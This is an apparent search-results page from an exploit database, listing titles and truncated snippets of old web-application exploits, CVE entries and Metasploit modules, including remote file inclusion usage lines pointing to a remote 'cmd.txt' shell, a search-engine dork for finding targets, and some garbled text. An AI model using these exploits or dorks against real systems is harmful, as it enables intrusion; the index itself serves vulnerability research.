11989 matches found
Vulnerabilities in SPIP
k k kkkk k kkkk k k kkkkkk kkkkkk kkkk k k k k k k k k k k k k k k kk k k k k kk k k k k kk kkkkk k kkkkk kk kk kkkkkk k k k k k k kk k k k k k k k kk k k k k k k k k k k k k kkkk k kkkk k k kk k k kkkk k kk k k k ------------------------------------------------------------------------------ =-...
phpMyChat 0.15.0dev (SYS enter) Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "PHPMyChat 0.15.0dev "SYS enter" remote cmmnds xctn 0day again\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "- works with magicquotesgpc=Off\r\n\r\n"; echo...
Multiple Vulnerabilities in LucidCMS
Multiple Vulnerabilities in LucidCMS Author : Rusydi Hasan M a.k.a : cR45H3R Date : April,1st 2006 Location : Indonesia, Cilacap --- Software description lucidCMS is a simple and flexible content management system for the individual or organization that wishes to manage a collection of web pages...
INDEXU <= 5.0.1 (base_path) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl INDEXU = 5.0.1 basepath Remote File Inclusion Exploit Bug Found & code By K-159 base on advisory at http://echo.or.id/adv/adv26-K-159-2006.txt code reference from ExploiterCode.com www.echo.or.id c 2006 usage: perl indexu.pl target cmd shell...
VWar 1.5.0 R12 - Remote File Inclusion
VWar 1.5.0 R12 - Remote File Inclusion !/usr/bin/perl VWar perl vwar.pl http://site.com/VWar/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to illwill!...
CVE-2006-1548
Cross-site scripting XSS vulnerability in 1 LookupDispatchAction and possibly 2 DispatchAction and 3 ActionDispatcher in Apache Software Foundation ASF Struts before 1.2.9 allows remote attackers to inject arbitrary web script or HTML via the parameter name, which is not filtered in the resulting...
CVE-2006-1477
Turnkey Web Tools PHP Live Helper 1.8 is affected by multiple remote file inclusion vulnerabilities. The issue arises from improper handling of the abs_path parameter in scripts (initiate.php, waiting.php, welcome.php, admin/index.php, javascript.php, checkchat.php, blank.php), allowing an attack...
Plogger Beta 2.1 - Administrative Credentials Disclosure
!/usr/bin/php -q -d shortopentag=on works with magicquotesgpc = Off\r\n\r\n"; echo "dork: intext:"Powered by Plogger!" -plogger.org\r\n\r\n"; if $argc3 echo "Usage: php ".$argv0." host path OPTIONS\r\n"; echo "host: target server ip/hostname\r\n"; echo "path: path to plogger\r\n"; echo...
PHP Ticket 0.71 - 'search.php' SQL Injection
!/usr/bin/perl Copyright C undefined1 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or at your option any later version. This program is...
gCards <= 1.45 Multiple Vulnerabilities All-In-One Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "gCards = 1.45 multiple vulnerabilities\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "Sun-Tzu:"At first, then, exhibit the coyness of a maiden, until the\r\n";...
Century-web news management system V2. 0 Upload vulnerability-vulnerability warning-the black bar safety net
This is the Black base original, 本人邮箱[email protected] the. If you think writing is nonsense, need to reprint, please indicate the author is fengskier, the copyright belongs to the hacker base. Thank you. A few days ago wrote an article the server to the Processor, the look you want, from...
irix6local.txt
SGI IRIX 6.usr/sysadm/bin/runpriv draft resolution to be to complete at antecedence but to stoke seriously came ran ready-to-wear there is no need to explain in the interest of owners yonder protection them from geeks but whom need to make realize excellent. visit http://lezr.com/vb echo SGI IRIX...
Guppy 4.5.11 - Delete Databases Remote Denial of Service
Guppy 4.5.11 - Delete Databases Remote Denial of Service Change line 30 s/htp/http if you would like to see the logo. /str0ke Guppy = 4.5.11 Remote DOS Exploit Guppy = 4.5.11 Remote DOS Exploit by trueend5 Computer Security Science Researchers Institute KAPDA input name="host...
CilemNews System <= 1.1 (yazdir.asp haber_id) SQL Injection Exploit
Exploit for unknown platform in category web applications =================================================================== CilemNews System googledork inurl:yazdir.asp?haberid= 2.140 pages... use IO::Socket; if@ARGV + + Example: cilem.pl sux.com / + + googledork inurl:yazdir.asp?haberid= + +...
OWL Intranet Engine 0.82 - xrms_file_root Code Execution
OWL Intranet Engine 0.82 - xrmsfileroot Code Execution !/usr/bin/perl use IO::Socket; print "WwwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n"; print "WWwoLWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n"; print...
safari_safefiles_exec.pm.txt
This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artistic. The latest version of the...
Advisory: Pentacle In-Out Board <= 6.03 (login.asp) Authencation ByPass Vulnerability
--Security Report-- Advisory: Pentacle In-Out Board = 6.03 login.asp Authencation ByPass Vulnerability --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 25/02/06 05:56 AM --- Contacts: ICQ: 10072 MSN/Email: nukedx at nukedx dot com Web: http://www.nukedx.com --- Vendor: G2SOFT...
Mac OS X Safari Browser (Safe File) Remote Code Execution Exploit
No description provided by source. This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artisti...
PHPSurveyor <= 0.995 (surveyid) Remote Command Execution Exploit
Exploit for unknown platform in category web applications ================================================================ PHPSurveyor works regardless of magicquotes gpc settings \r\n"; echo " with at least one row in 'surveys' table \r\n"; echo " and if we succeed to include logs \r\n"; echo...